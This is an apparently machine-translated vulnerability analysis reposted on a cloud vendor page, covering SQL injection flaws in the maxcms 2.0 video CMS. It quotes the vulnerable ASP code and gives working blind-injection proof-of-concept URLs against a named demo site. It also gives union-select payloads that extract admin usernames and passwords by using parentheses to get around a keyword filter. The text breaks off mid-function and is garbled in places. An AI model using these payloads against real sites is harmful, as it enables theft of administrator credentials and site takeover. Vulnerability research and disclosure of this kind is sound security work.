Analysis of maxcmsSQL Injection Vulnerabilities

Source: Internet
Author: User
This system is a very popular on-demand Video-on-Demand System in China. The previous version 1.5 has many vulnerabilities. Version 2.0 has improved its security, but there are still vulnerabilities. Check the Code \ inc \ ajax. aspdimaction: actiongetForm (action, get) response. CharsetgbkSelectcaseactioncasenewslist: viewNewsLi

This system is a very popular on-demand Video-on-Demand System in China. The previous version 1.5 has many vulnerabilities. Version 2.0 has improved its security, but there are still vulnerabilities.

View code

INcAjax. asp

 
 
  1. Dim action: action = getFoRm("Action", "get ")
  2. Response. CharSet= "Gbk"
  3.  
  4. SelectCase action
  5. Case "newslist": viewNewsList
  6. Case "newscontent": viewNewsContent
  7. Case "digg ","TrEad ": scoreVIdEo (action)
  8. Case "reporterr": reportErr
  9. Case "hit": upDateHit
  10. Case eLsE: main
  11. End Select 
  12. TerminateAllObjects
  13.  
  14. ......
  15.  
  16. SubScoreVideo (operType)
  17. Dim SQL, id, digg, returnValue: id = getForm ("id", "get ")
  18. \ 'Get the id value through get
  19. If rCookie ("maxcms2_score" & id) = "OK" then die "havescore"
  20. If isNul (id) then die "err"
  21. \ 'On error reSuMe nExT
  22. Digg = conn. db ("select m_digg from {pre} data where m_id =" & id, "exeCutE ") (0)
  23. \ 'Parameter id, which is included in the SQL statement for query without Filtering
  24. If err then digg = 0: err.Clear()
  25. If not isNum (id) then echoSaveStr "safe" else id = cLnG (id)
  26. \ 'Digg is queried. Pay attention to the returned content.
  27. ......

It is easy to use. Construct an SQL statement for submission (the default structure is m_manager, m_username, m _Pwd), Which can be determined based on the returned content.

If the constructed statement is correct, a message similar to warning that the data you submitted has invalid characters is returned. your IP address xxxx has been recorded and operated.

If the constructed statement is incorrect, 500 is returned.

Poc:

Correct:

 
 
  1. http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 

 
Incorrect:

 
 
  1. http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99 

In fact, just find an injection tool and run it.
 

I used to briefly read this system. The specific code is not recorded, so I will leave two injection statements. Maybe the injection is no longer there.
This vulnerability is really mentally retarded. Because the keyword is used for SQL detection and filtering, but many important keywords are followed by spaces, so that we can use the () method to replace spaces to bypass the problem.

 
 
  1. http://localhost/play.asp?id=-999+union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])  
  2. http://localhost/play.asp?id=-999+union(select(adminname),2,3,4,5,6,7,8,9,0,1+from+[zt_admin]) 

 

Another injection

 
 
  1. Sub checkPower  
  2.     dim loginValidate,rsObj : loginValidate = "maxcms2.0" 
  3.     err.clear  
  4.     on error resume next  
  5.     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username=\'"&rCookie("m_username")&"\'","execute")  
  6.     loginValidate = md5(getAgent&getIp&rsObj(0))  
  7.     if err then wCookie "check"&rCookie("m_username"),"" : die "《script》top.location.href=\'index.asp?action=login\';《script》" 
  8.     if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "《script》top.location.href=\'index.asp?action=login\';《script》" 
  9.     checkManagerLevel  rsObj(1)  
  10.     set rsObj=nothing  
  11. End Sub 

Where

 
 
  1. Function rCookie(cookieName)  
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.